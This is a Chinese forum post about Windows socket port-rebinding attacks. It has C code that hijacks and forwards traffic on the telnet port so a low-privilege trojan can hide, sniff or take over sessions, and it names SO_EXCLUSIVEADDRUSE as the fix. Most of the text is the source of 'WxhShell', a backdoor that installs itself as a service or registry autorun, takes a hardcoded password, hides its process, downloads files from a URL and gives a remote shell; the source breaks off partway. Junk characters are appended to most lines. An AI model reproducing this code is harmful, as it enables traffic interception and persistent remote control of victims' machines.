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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B&3@b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7'{%djL  
M1DV9~S  
  saddr.sin_family = AF_INET; Kv5 !cll5  
6XhS g0s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -k,}LJjo  
]nS9taEA   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O St~P^1  
oXwcil  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jfR!M07|  
(=53WbOh/t  
  这意味着什么?意味着可以进行如下的攻击: &~)1mnv.  
k V'0rb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z\J#d 1e  
&C/,~pJ1S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o2y #Yk  
K]U8y$^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tdi}P/x  
L~M6 ca"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Gnqun%  
(j)>npOd9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <ot%>\C  
:;3y^!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FbPoyh  
t-hN4WKH_A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !\Q/~p'jS  
_l]rt  
  #include W<H^V"^  
  #include ra\2BS)X  
  #include 1z8AK"8  
  #include    0j-;4>p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4mWT"T-8  
  int main() aj]%c_])(  
  { 0 KWi<G1  
  WORD wVersionRequested; 5r\Rfma  
  DWORD ret; KMkX0+Ao  
  WSADATA wsaData; ~o/e0  
  BOOL val; J@9E20$  
  SOCKADDR_IN saddr; ZnB|vfL?  
  SOCKADDR_IN scaddr; x6~`{N1N M  
  int err; / ='/R7~  
  SOCKET s; ~u80v h'  
  SOCKET sc; [~rBnzb  
  int caddsize; @|o^]-,  
  HANDLE mt; '"Dgov$q  
  DWORD tid;   u/ 74E0$S  
  wVersionRequested = MAKEWORD( 2, 2 ); P-lE,X   
  err = WSAStartup( wVersionRequested, &wsaData ); 1j^FNg ~  
  if ( err != 0 ) { A|GheH!t  
  printf("error!WSAStartup failed!\n"); O7Awti-X  
  return -1; D)LqkfJ}z^  
  } kKSn^q L*  
  saddr.sin_family = AF_INET; 852Bh'u_  
   Qte'f+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `ZAGseDd~  
Kd,7x'h`E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BB m;QOBU  
  saddr.sin_port = htons(23); r \]iw v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GfT`>M?QGK  
  { 6t6#<ts  
  printf("error!socket failed!\n"); U7cGr\eUu  
  return -1; R*psL&N  
  } zFV?,"\r  
  val = TRUE; "^@0zy@x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4#@zn 2l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uYwJ[1 C  
  { A&QO]8  
  printf("error!setsockopt failed!\n"); 1=%\4\  
  return -1; mH} 1Zy  
  } VFwp .1oa!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6tmn1:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z+B"RV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3YPoObY  
CVBy&o"6A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R`|GBVbv  
  { [2cG 7A  
  ret=GetLastError(); Vg4N7i  
  printf("error!bind failed!\n"); Y)4&PN~[  
  return -1; /\M3O  
  } 0 /JusQ  
  listen(s,2); :Keek-E`e=  
  while(1) !pLQRnI}6  
  { Obu>xK(  
  caddsize = sizeof(scaddr); 0dgp<  
  //接受连接请求 g"sW_y_O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 a G?^z  
  if(sc!=INVALID_SOCKET) g&V1<n\b+  
  { _/5mgn<GK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H{ CG/+x  
  if(mt==NULL) aYQIe7J90J  
  {  qTL]  
  printf("Thread Creat Failed!\n"); miZ&9m  
  break; aE( j_`L78  
  } Mrlv(1PQT  
  } J0M7f]  
  CloseHandle(mt); $fA%_T_P'P  
  } bO%bMZWB!y  
  closesocket(s); Y_49UtJIg  
  WSACleanup(); AA$-Lx(UJk  
  return 0; dRXF5Ox5K}  
  }   u%vq<|~-  
  DWORD WINAPI ClientThread(LPVOID lpParam) BK8)'9/  
  { e" f/  
  SOCKET ss = (SOCKET)lpParam; Pp[?E.]P  
  SOCKET sc; ^?H3:CS  
  unsigned char buf[4096]; d&QB?yLd  
  SOCKADDR_IN saddr; 0XBv8fg  
  long num; 195m0'zda  
  DWORD val; fE;<)tU  
  DWORD ret; {WJ+6!v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "-+5`!Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7 Ld5  
  saddr.sin_family = AF_INET; /MB3w m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :!\?yj{{  
  saddr.sin_port = htons(23); #,1Kum bG3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #?Z>o16,u  
  { r_f?H@v  
  printf("error!socket failed!\n"); R(sPU>`MX  
  return -1; ;{79d8/=  
  } ^b]h4z$  
  val = 100; c|%.B2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  s=&&gC1  
  { Pvq74?an`  
  ret = GetLastError(); =Vv"\p8  
  return -1; >M\3tB2C  
  } |Fk>NX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w]hs1vch  
  { Ccld;c&+  
  ret = GetLastError(); )B86  
  return -1; -lL(:drn  
  } 0Z{f!MOh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RjY(MSc  
  { J2M[aibV  
  printf("error!socket connect failed!\n"); VFj}{Y  
  closesocket(sc); }]ak6'|[  
  closesocket(ss); W *t+!cU/:  
  return -1; [;`B   
  } v&p|9C@  
  while(1) x roo_  
  { `;yfSoY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?32gug\i'}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iX]Vkx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WleE$ ,  
  num = recv(ss,buf,4096,0); Nv@SpV'  
  if(num>0) :nZVP_d+  
  send(sc,buf,num,0); )_eEM1  
  else if(num==0) @7Oqp-  
  break; 7cTDbc!E-  
  num = recv(sc,buf,4096,0); FA}dKE=c Q  
  if(num>0) ;by` [)  
  send(ss,buf,num,0); '% .:97  
  else if(num==0) N^\<y7x  
  break; ,Q8[Ur? G  
  } rz%8V igb  
  closesocket(ss); xx`xDD  
  closesocket(sc); ztcV[{[g  
  return 0 ; n.&z^&$w\)  
  } 6ge,2[PU  
/UP&TyZ  
B|9)4f&\=R  
========================================================== KTr7z^  
nKI]f`P7  
下边附上一个代码,,WXhSHELL a:*8SovI  
(7l'e=J0  
========================================================== A}Q6DHh26  
@N,(82k  
#include "stdafx.h" zq 1je2DB  
"]1 !<M6\i  
#include <stdio.h> =P}ob eY  
#include <string.h> $l05VZ  
#include <windows.h> \$.8iTr@  
#include <winsock2.h> V2As 5  
#include <winsvc.h> [Yr }:B <  
#include <urlmon.h> Wt|IKCx   
By& T59  
#pragma comment (lib, "Ws2_32.lib") a<c]N:1  
#pragma comment (lib, "urlmon.lib") dux.Z9X?  
cR'l\iv+  
#define MAX_USER   100 // 最大客户端连接数 e :(7$jo  
#define BUF_SOCK   200 // sock buffer r%`g` It  
#define KEY_BUFF   255 // 输入 buffer 1>I4=mj  
z'=8U@P'#  
#define REBOOT     0   // 重启 lyY\P6 X  
#define SHUTDOWN   1   // 关机 a_jw4"Sb  
|\/`YRg>  
#define DEF_PORT   5000 // 监听端口 ~m:oJ+:O  
(}Q(Ux@X  
#define REG_LEN     16   // 注册表键长度 1b^e4  
#define SVC_LEN     80   // NT服务名长度 S$~T8_m^U  
#0HZ"n  
// 从dll定义API d 8YP<"V&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MI^@p`s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tB S+?N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BlwAD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q=YIAGK  
* 0vq+C  
// wxhshell配置信息 H( L.k;B  
struct WSCFG { ?4k/V6n@y  
  int ws_port;         // 监听端口 kYbqb?  
  char ws_passstr[REG_LEN]; // 口令 ~quof>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'q3<R%^Q   
  char ws_regname[REG_LEN]; // 注册表键名 ``X1xiB  
  char ws_svcname[REG_LEN]; // 服务名 RT+pB{Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WP5cC@x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W|X=R?*ZK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J,iS<lV_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q]/ZVcoqo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C K#^`w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <}uhKp>*  
~Up5+7k@  
}; -!o*A>N  
Pz\4#E]  
// default Wxhshell configuration (G1KMy  
struct WSCFG wscfg={DEF_PORT, ZhqGUb  
    "xuhuanlingzhe", @:,B /B;  
    1, k4N_Pa$}\  
    "Wxhshell", E?v9c>c  
    "Wxhshell", &`@S_YLr  
            "WxhShell Service", {lam],#r  
    "Wrsky Windows CmdShell Service", {ef9ov Xk  
    "Please Input Your Password: ", >m:;. vVY  
  1, Nxm^jPM 0  
  "http://www.wrsky.com/wxhshell.exe", xDqJsp=]-  
  "Wxhshell.exe" u[:-^H  
    }; `T'[H/  
ke2zxX2 f  
// 消息定义模块 U/}("i![Dy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V ,+&.A23  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >H r&F nh+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~ 3!yd0 [k  
char *msg_ws_ext="\n\rExit."; hs;YMUA"  
char *msg_ws_end="\n\rQuit."; .ZOG,h+8  
char *msg_ws_boot="\n\rReboot..."; WswM5RN  
char *msg_ws_poff="\n\rShutdown..."; _cc3 7[  
char *msg_ws_down="\n\rSave to "; 8SZZ_tS3r  
hkpS}*L9o  
char *msg_ws_err="\n\rErr!"; 8}M-b6R V  
char *msg_ws_ok="\n\rOK!"; MnL o{G]  
*x!j:/S`n  
char ExeFile[MAX_PATH]; ltWEA  
int nUser = 0; L`2(u!i J  
HANDLE handles[MAX_USER]; b6%[?k  
int OsIsNt; vRhI:E)So#  
SO|!x}GfI  
SERVICE_STATUS       serviceStatus; D6I-:{ws  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m|uVmg!*  
FOyANN'  
// 函数声明 wC>}9OM  
int Install(void); ;No i H&  
int Uninstall(void); 7|@FN7]5NF  
int DownloadFile(char *sURL, SOCKET wsh); K ' ?`'7  
int Boot(int flag); dz6&TdEl  
void HideProc(void); W{$J)iQ  
int GetOsVer(void); `w8Ejm?n  
int Wxhshell(SOCKET wsl); G1 K@Ir<  
void TalkWithClient(void *cs); a S;z YD  
int CmdShell(SOCKET sock); T^ )\  
int StartFromService(void); m$.7) 24  
int StartWxhshell(LPSTR lpCmdLine); SuR+Vv  
d53Eu`QW?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +@^FUt=tq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : uxJGx  
(.J6>"K<  
// 数据结构和表定义 M!`&Z9N  
SERVICE_TABLE_ENTRY DispatchTable[] = 7VIfRN{5n  
{ u<U8LR=)V5  
{wscfg.ws_svcname, NTServiceMain}, !#Pr'm/,mu  
{NULL, NULL} Cl8S_Bz  
}; o$p] p9  
og?L 9  
// 自我安装 *b4W+E  
int Install(void) IKrojK8-?  
{ Y1wH_!%b  
  char svExeFile[MAX_PATH]; u0Bz]Ux/Q  
  HKEY key; wzj :PS  
  strcpy(svExeFile,ExeFile); fKbg?  
no$X0ia  
// 如果是win9x系统,修改注册表设为自启动 {zI>"%$u  
if(!OsIsNt) { C14"lB.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3o2x&v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /[qLf:rGI  
  RegCloseKey(key); ,7I    
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "]bOpk T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oe*fgk/o9  
  RegCloseKey(key); 3:aj8F2  
  return 0; QQ/9ZI5  
    } "sSY[6Kp!  
  } R('\i/fy  
} e>UU/Ks  
else { ~}_S]^br  
,`ba?O?*G  
// 如果是NT以上系统,安装为系统服务 yR% l[/ X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d" =)=hm!  
if (schSCManager!=0) )GfL?'Z  
{ nGM;|6x"8|  
  SC_HANDLE schService = CreateService lMmP]{.>$  
  ( C';Dc4j  
  schSCManager, 2c'<rkA  
  wscfg.ws_svcname, 65vsQ|Zw  
  wscfg.ws_svcdisp, #~o<9O  
  SERVICE_ALL_ACCESS, Hf +oG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $3S`A]xO  
  SERVICE_AUTO_START, 9T\\hM)k  
  SERVICE_ERROR_NORMAL, 98maQQWD  
  svExeFile, Jz]OWb *  
  NULL, YIs_.CTi  
  NULL, 3F8K F`*  
  NULL, k]9y+WC2  
  NULL, }ww`Y&#  
  NULL C{G;G@/7  
  ); :(K JLa]  
  if (schService!=0) 5`6U:MDq  
  { ,T-xuNYC  
  CloseServiceHandle(schService); !y862oKD  
  CloseServiceHandle(schSCManager); a`D`v5G t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uvRX{q 4  
  strcat(svExeFile,wscfg.ws_svcname); 5 0dx[v8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pQ xv_4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $T_>WUiK  
  RegCloseKey(key); +Mb}70^  
  return 0; jItVAmC=i  
    } :<H4hYt2  
  } N>iNz[a q  
  CloseServiceHandle(schSCManager); \D-X _.v  
} _=9m [  
} wn.UjxX.  
\"X_zM  
return 1; #"-DE-I[  
} wkY$J\J  
Q?bC'147O  
// 自我卸载 hG}gKs  
int Uninstall(void) ctPT=i60  
{ &"=O!t2  
  HKEY key; s w50lId  
YlXqj\a  
if(!OsIsNt) { %NcBq3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { braI MIQ`  
  RegDeleteValue(key,wscfg.ws_regname); FzF#V=9lP  
  RegCloseKey(key); dpT?*qLM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LlD=c  
  RegDeleteValue(key,wscfg.ws_regname); [sK'jQo-[1  
  RegCloseKey(key); RSx{Gbd4X  
  return 0; iM$iZ;Tp  
  } +fHqGZ]  
} vcZ"4%w  
} @W=: r/  
else { I5]58Ohx  
\0)2 u[7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }+giQw4  
if (schSCManager!=0) @cQ |`  
{ BnG{) \s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ($!g= 7  
  if (schService!=0) ;)vs=DK:)  
  { zhh6;>P  
  if(DeleteService(schService)!=0) { z`YAOhD*h4  
  CloseServiceHandle(schService); ) >N=B2P  
  CloseServiceHandle(schSCManager); ([A%>u>h  
  return 0; YpvFv-  
  } qykI[4  
  CloseServiceHandle(schService); [;#^h/5E  
  } xs?]DJj  
  CloseServiceHandle(schSCManager); D7Ds*X`!l  
} g(R!M0hdF  
} 'X~CrgQl  
N_p^DP   
return 1; 8\bZ?n#dn  
} N.vkM`Z  
A{wk$`vH  
// 从指定url下载文件 >+%p }l:<\  
int DownloadFile(char *sURL, SOCKET wsh) WV;[vg]  
{ sUZ2A1J}  
  HRESULT hr; XUK%O8N#9  
char seps[]= "/"; PI)uBA;  
char *token; BPu>_$C  
char *file; n>YgL}YZ?  
char myURL[MAX_PATH]; 9LUk[V  
char myFILE[MAX_PATH]; Pu}PE-b  
7'7o^> !  
strcpy(myURL,sURL); ?Hbi[YD  
  token=strtok(myURL,seps); ,]4.|A_[Rq  
  while(token!=NULL) U\q?tvn'J  
  { kZQ$Iv+^(  
    file=token; .VkLF6  
  token=strtok(NULL,seps); zc1~ q  
  } f.RwV+lq  
787}s`,}  
GetCurrentDirectory(MAX_PATH,myFILE); { /Gm|*e{  
strcat(myFILE, "\\");  W|6.gN]  
strcat(myFILE, file); lAAPV  
  send(wsh,myFILE,strlen(myFILE),0); bQwiJ`B&  
send(wsh,"...",3,0); \V*E:_w*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mnH1-}oL  
  if(hr==S_OK) >+S* Wtm5  
return 0; % %QAC4  
else u]<`y6=&C  
return 1; Jh%k:TrBm  
9QkIMJf0e  
} PU%WpI.w  
{'G u@l  
// 系统电源模块 J|b:Zo9<f"  
int Boot(int flag) >H?~2O  
{ =@k 3*#\  
  HANDLE hToken; 6K5KkEp  
  TOKEN_PRIVILEGES tkp; _LLE~nUK"/  
yF1^/y!@  
  if(OsIsNt) { |bmc6G[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a;0$fRy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9R|B 5.  
    tkp.PrivilegeCount = 1; .DcuJC=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NAfu$7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0>0:ls  
if(flag==REBOOT) { (<#Ns W!z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I`}x9t  
  return 0; ~wd~57i@  
} R(HW0@R@w  
else { po+ 1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |y2cI,&   
  return 0; D 3}e{J8  
} |Vc:o_n7  
  } u=6{P(5$j  
  else { g$S<_$Iey  
if(flag==REBOOT) { U=UnE"h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xu\22/Co  
  return 0; LWP&Si*j  
} q8vRUlf  
else { [>f4&yY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XcQ'(  
  return 0; !O#NP!   
} 9rQpKq:# E  
} [u`9R<>c"U  
FZtILlw  
return 1; cH$Sk  
} D\V (r\i  
"zN]gz=OV>  
// win9x进程隐藏模块 )IZ~!N|-w  
void HideProc(void) vM2\tL@"  
{ JY@x.?N5$  
s)|l-I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O:G-I$F|  
  if ( hKernel != NULL ) {~:F1J~=  
  { pmi`Er  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mH09* Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %D}]Z=gp  
    FreeLibrary(hKernel); g,cl|]/\d  
  } h3:dO|Z  
|CjE }5Op>  
return; 'D;'Pr]  
} dKTUW<C  
p uLQ_MNV  
// 获取操作系统版本 as| MB (  
int GetOsVer(void) eEkbD"Q  
{ RJZ4fl  
  OSVERSIONINFO winfo; SwPc<Z?P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 79Vp^GG7  
  GetVersionEx(&winfo); z|>f*Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KwuNHK)-  
  return 1; ni x1_Wo;  
  else )|@UY(VZ^  
  return 0; nxh9'"th  
} 9}6^5f?|  
=24<d!R  
// 客户端句柄模块 yasKU6^R'  
int Wxhshell(SOCKET wsl) 1(z+*`"WB&  
{ ocT.2/~d  
  SOCKET wsh; l~Sn`%PgA  
  struct sockaddr_in client; (eAh8^)  
  DWORD myID; UZ+FV;<  
Bx32pY  
  while(nUser<MAX_USER) JMq00_  
{ Px))O&w{  
  int nSize=sizeof(client); A">A@`}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L3- tD67oa  
  if(wsh==INVALID_SOCKET) return 1; :S5B3S@|  
D;al(q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vMOit,{  
if(handles[nUser]==0) 1JoRP~mMxa  
  closesocket(wsh); #5x[Z[m  
else ` `R;x  
  nUser++; {?9s~{Dl  
  } ! G+/8Q^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q!VPk~~(  
xl$#00|y  
  return 0; Y-WY Q{  
} Q[k7taoy  
~IKPi==@,  
// 关闭 socket KD7 RI3'?  
void CloseIt(SOCKET wsh) cTeEND)  
{ It@ak6u?  
closesocket(wsh); nUvxO `2  
nUser--; b%<i&YY#  
ExitThread(0); 7=ZB?@bU~  
} NwdA@"YQ|  
8PV`4=,OI  
// 客户端请求句柄 \ oIVE+L/P  
void TalkWithClient(void *cs) 81|Xg5g)b  
{ ]S~Z8T-[  
Dyj5a($9"{  
  SOCKET wsh=(SOCKET)cs; $h-5PwHp  
  char pwd[SVC_LEN]; bG0t7~!{E  
  char cmd[KEY_BUFF]; #`mo5  
char chr[1]; pc w^W  
int i,j; mu/O\'5  
ArUGa(; f  
  while (nUser < MAX_USER) { WoiK _Ud  
Hs+VA$$*  
if(wscfg.ws_passstr) { "oYyeT ,?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [a*m9F\ ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M"]~}*  
  //ZeroMemory(pwd,KEY_BUFF);  mq?5|`  
      i=0; ?1('s0s\,  
  while(i<SVC_LEN) { <Dw`Ur^X5  
!RnO{FL  
  // 设置超时 p_jDnb#  
  fd_set FdRead; !ldb_*)h  
  struct timeval TimeOut; 451r!U1Z  
  FD_ZERO(&FdRead); 4l$(#NB<  
  FD_SET(wsh,&FdRead); HhaUC?JtSK  
  TimeOut.tv_sec=8; i(JBBE"  
  TimeOut.tv_usec=0; ! \H!9FR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _e=R[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tw]RH(g+#  
cRX0i;zag  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |.Bb Pfe8f  
  pwd=chr[0]; oO|zRK1;/  
  if(chr[0]==0xd || chr[0]==0xa) { gaC^<\J  
  pwd=0; u><gmp&  
  break; ,iU ]zN//  
  } HZdmL-1Z^+  
  i++; m[C-/f^u|  
    } */n)_  
/}Y>_8 7  
  // 如果是非法用户,关闭 socket [BHf>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mrp'wF D  
} 8Z!+1b  
k|,pj^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2@o_7w98  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FG-w7a2mn  
Nf>1`eP  
while(1) { 02} &h  
A}sb 2P  
  ZeroMemory(cmd,KEY_BUFF); $L.0$-je4  
ZN|DR|c UY  
      // 自动支持客户端 telnet标准   qbkvwL9  
  j=0; @M?N[LG  
  while(j<KEY_BUFF) { A:1O:LB=!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ky#d`   
  cmd[j]=chr[0]; N G1]!Vz5  
  if(chr[0]==0xa || chr[0]==0xd) { sD.bBz  
  cmd[j]=0; 3mgFouX2x,  
  break; Roy0?6O  
  } j[yGfDb  
  j++; \@Gyl_6^  
    } =V1k'XJ  
'z2}qJJ)  
  // 下载文件 -,et. *  
  if(strstr(cmd,"http://")) { -Xkdu?6Eh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gu<3*@Ng  
  if(DownloadFile(cmd,wsh)) |^Z1 D TAw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @dcT8 YC  
  else /g712\?M4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,qpn4`zE~  
  } 5B .+>u"e  
  else { 'Ol}nmJ'n  
xUPM-eF=  
    switch(cmd[0]) { ,:QG%Et  
  [b J/$A  
  // 帮助 X4&{/;$  
  case '?': { yyrCO"eh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0^|)[2m!  
    break; }3Pz{{B&+O  
  } 7(eWBJfTo  
  // 安装 Fg?Gx(g4  
  case 'i': { qI<6% ^i  
    if(Install()) ,v$gQU2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}_}`wIn  
    else (80]xLEBL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 31wact^  
    break; =+97VO(w]G  
    } NDU,9A.P  
  // 卸载 rOB-2@-  
  case 'r': { G!oq ;<  
    if(Uninstall()) YU[93@mCh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[ 1D4d  
    else a |32Pn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Qv7aY  
    break; OqY8\>f-  
    } gCgMmD=AZ  
  // 显示 wxhshell 所在路径 18Vtk"j  
  case 'p': { G[r_|-^S  
    char svExeFile[MAX_PATH]; OAR1u}  
    strcpy(svExeFile,"\n\r"); _+%-WFS|  
      strcat(svExeFile,ExeFile); xg'z_W  
        send(wsh,svExeFile,strlen(svExeFile),0); E$34myOVf  
    break; iquB]z'  
    } "a-Ex ]  
  // 重启 7s,IT8ii  
  case 'b': { p(%7|'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dz]&|5'N  
    if(Boot(REBOOT)) "}Ch2K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [sTr#9Z  
    else { #,qw~l]  
    closesocket(wsh); WDSkk"#TF  
    ExitThread(0); S,lJ&Rsu  
    } 3otia ;&B  
    break; #DwTm~V0"  
    } cuBOE2vB.  
  // 关机 9cWl/7;zXO  
  case 'd': { W cPDPu~/  
